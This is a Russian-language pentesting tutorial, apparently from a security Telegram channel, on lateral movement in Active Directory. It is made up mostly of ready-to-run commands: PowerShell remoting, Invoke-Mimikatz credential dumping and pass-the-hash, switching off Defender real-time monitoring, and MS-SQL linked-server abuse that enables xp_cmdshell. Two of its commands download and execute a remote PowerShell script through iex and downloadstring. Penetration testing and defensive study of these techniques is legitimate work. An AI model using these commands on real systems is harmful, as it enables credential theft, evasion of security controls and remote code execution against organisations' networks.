Active Directory - Lateral Movement
SecDet SamuraiActive Directory - Lateral Movement
Это руководство объясняет основные моменты бокового перемещения Active-Directory с помощью команд PowerShell, Inkove-Mimikats и MS-SQL. Я также объясню те термины, которые каждый пентестер должен знать, чтобы понять атаки, выполненные в Active Directory.

На протяжении всей статьи я буду использовать PowerView , Invoke-Mimikatz и PowerUpSQL.psd1 при выполнении бокового перемещения в Windows/Active Directory Environment. Если потребуются какие-либо другие инструменты, они будут упомянуты непосредственно по их использованию.
Что такое боковое перемещение
Боковое перемещение — это когда злоумышленник использует свои текущие права доступа для движения в окружающей среде. Повышение привилегий же, которое я уже объяснял, дает расширенные права доступа. Злоумышленники объединяют эти две тактики для достижения своей конечной цели кражи данных или нанесение иного ущерба вашей организации.
Удаленное взаимодействие PowerShell
- Думайте об этом как о
psexecна стероидах. - Вы обнаружите, что это все чаще используется на предприятиях. Включено по умолчанию в
Server 2012и более поздних версиях. - Возможно, вам потребуется включить удаленное взаимодействие (
Enable-PSRemoting) на настольном компьютере с Windows, для этого требуются права администратора. - Вы получаете повышенную оболочку в удаленной системе, если для аутентификации используются учетные данные администратора (что является настройкой по умолчанию).
По умолчанию включение удаленного взаимодействия PowerShell включает слушателя http и https. Слушатели работают на портах по умолчанию 5985 для http и 5986 для https .
Сеансы Powershell
В приведенной ниже таблице, вы можете получить краткое представление о работе и использование команд которые мы будем использовать для выполнения атак.

Использовать Credential параметр для передачи имени пользователя/пароля
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)
Enter/New-PSSession Remoting (создание и управление новой сессией)
- Подключение к PS-Session удаленного пользователя
Enter-PSSession -Computername <computer-name>
- Выполнение команд Stateful с помощью Enter-PSSession
$sess = New-PSSession -Computername <computer-name> Enter-PSSession -Session $sess [scorp.star.light.local]:PS> $proc = Get-Process [scorp.star.light.local]:PS> exit Enter-PSSession -Session $sess [scorp.star.light.local]:PS> proc Will list current process
Invoke-Command
- Выполнение команд Stateful с помощью Invoke-Command
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
- Показать разрешенные команды, которые мы можем выполнять на удаленной машине
# скопируйте фрагмент команды с необходимыми параметрами
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -command {get-command}
- Запишите файл с помощью ScriptBlock
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
- Отредактируйте файл с помощью ScriptBlock
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}
- Выполнение команды с помощью command и ScriptBlock
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername <computer-name> -command {whoami}
Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
- Выполнение файла с помощью ScriptBlock
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}
- Выполнение файла с использованием FilePath
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"
- Языковой режим
-computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}
Если значение LanguageMode равно Constrained , то будет разрешено выполнение только встроенных команд
Выполнение локально загруженной функции на удаленных машинах
Пример: Hello.ps1
function hello {
Write-Output "Hello from the function"
}
- Теперь мы можем загрузить функцию на нашу машину
. .\Hello.ps1
- Теперь мы можем выполнять локально загруженные функции
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>
- В данном случае мы передаем аргументы. Имейте в виду, что таким образом можно передавать только позиционные аргументы.
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
ArgumentList
- Непосредственно загружать функции на удаленные машины, используя FilePath
$sess = New-PSSession -Computername <computer-name> Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess Enter-PSSession -Session $sess [scorp.star.light.local]:PS> hello Hello from the function
Invoke-Mimikatz
- Скрипты можно использовать для сброса учетных данных, тикетов и многого другого, используя mimikatz с помощью PowerShell, не сбрасывая исполняемый файл mimikatz на диск.
- Это очень полезно для передачи и воспроизведения хэшей, билетов и многих захватывающих атак Active Directory.
- С использованием код из ReflectivePEInjection, mimikatz загружается рефлективно в память. Все функции mimikatz можно использовать из этого сценарий.
- Сценарию нужны права администратора для дампа учетные данные с локальной машины. Многие атаки требуют определенных привилегий которые рассматриваются при обсуждении этой атаки.
- Сброс учетных данных на локальный компьютер
Invoke-Mimikatz -DumpCreds
2. Дамп учетных данных на нескольких удаленных машинах
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
Для этого Invoke-Mimikatz использует команду PowerShell remoting Invoke-Command.
3. «Передача хэша» — генерация токенов из хэшей
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
4. Создайте новую сессию и выгрузите хэши
# Создайте сессию для удаленного доступа
$sess = New-PSSession -ComputerName <computer-name>
# Обход AMSI
Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess
# Локальная загрузка mimikatz в вашей систему
Import-Module .\Invoke-Mimikatz.ps1
# Выполнение локально загруженных функций в вашей системе
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess
Перечисление MS-SQL — часть 1
- Серверы MS-SQL обычно развернуты в большом количестве в домене Windows.
- Серверы SQL предоставляют очень хорошие возможности для горизонтального перемещения, поскольку пользователи домена могут быть сопоставлены с ролями базы данных.
Для импорта скрипта используйте следующую команду:
Import-Module .\PowerUpSQL.psd1
Методология
1. Проверьте имена участников-служб
2. Проверьте, к каким SPN у вас есть доступ
3. Проверьте имеющиеся у вас привилегии для указанных выше отфильтрованных SPN.
4. Обратите внимание на Instance-Name , ServicePrincipalName и DomainAccount-Name.
5. Если вы найдете какой-либо сервис с более высокими привилегиями , продолжайте использовать его.
Перечисление PowerUpSQL
1. Перечислить SPN
Get-SQLInstanceDomain
2. Проверьте доступ
Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
3. Проверить привилегии/собрать информацию
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
4. Проверьте права на олицетворение (дополнительно)
Invoke-SQLAudit -Verbose -Instance <instanceName>
Использование MS-SQL — часть 2
- Ссылка на базу данных позволяет SQL Server получать доступ к внешним источникам данных, таким как другие SQL Server и источники данных OLE DB.
- В случае связей базы данных между SQL-серверами, то есть наличие связанных SQL-серверов, можно выполнять хранимые процедуры.
- Связи с базами данных работают даже между лесными трастами.
Выполнение команд на целевом сервере:
- На целевом сервере должен быть уже включен xp_cmdshell; или
- Если rpcout включен (отключен по умолчанию), xp_cmdshell можно включить с помощью:
EXECUTE('sp_configure ''xp_cmdshell'',1; reconfigure;') AT "eu-sql"
- Если rpcout отключен, но у нас есть sa , его можно включить с помощью
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';
Методология
1. Проверьте ссылку SQL Server
2. Обратите внимание, есть ли у вас ссылка на любую другую базу данных в DatabaseLinkName
3. Если SysAdmin:0 означает, что нам не разрешат включить xp_cmdshell
4. Продолжайте перечислять и проверять все связанные базы данных, к которым у вас есть доступ.
5. Теперь мы можем попробовать выполнить команды во всех найденных связанных базах данных
PowerUpSQL - Злоупотребление привилегиями
1. Перечислить ссылки SQL Server
Get-SQLServerLink -Instance <instanceName> -Verbose select * from master..sysservers
2. Перечислить ссылки на БД
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')
3. Выполнение команд на целевом сервере
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft
Дополнительные команды
1. Загрузите файл на целевой сервер
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'
2. Выдавать себя за пользователя
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"
3. Базовые запросы SQL Server для перечисления БД
Также работает с Get-SQLServerLinkCrawl.
# просмотр всех баз данных в экземпляре Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases" # просмотр всех баз данных Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" # просмотр всех столбцов во всех базах данных Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns" # просмотр данных в таблице Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"
Оставайтесь в курсе последних новостей в области кибербезопасности, станьте подписчиком нашего королевства и узнайте о новых методах защит и атак. Не забудьте прочитать и другие наши статьи, чтобы расширить свои знания и быть на шаг впереди потенциальных угроз.
📌https://t.me/secdet_team
📌https://t.me/secdet_team
📌https://t.me/secdet_team
Эти и другие статьи в нашем канале
Безопасность - это постоянный процесс, и каждый шаг, предпринятый в направлении ее улучшения, имеет значение